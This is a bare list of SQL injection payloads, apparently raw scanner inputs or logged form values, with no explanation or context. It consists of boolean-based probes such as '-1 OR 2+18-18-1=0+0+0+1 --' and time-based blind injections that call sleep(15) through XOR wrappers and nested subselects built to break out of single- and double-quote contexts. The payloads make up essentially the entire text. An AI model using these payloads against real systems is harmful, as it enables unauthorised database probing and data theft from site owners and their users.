1

-1" OR 2+977-977-1=0+0+0+1 --

1

if(now()=sysdate(),sleep(15),0)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

if(now()=sysdate(),sleep(15),0)

-1 OR 2+18-18-1=0+0+0+1 --

-1 OR 2+650-650-1=0+0+0+1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/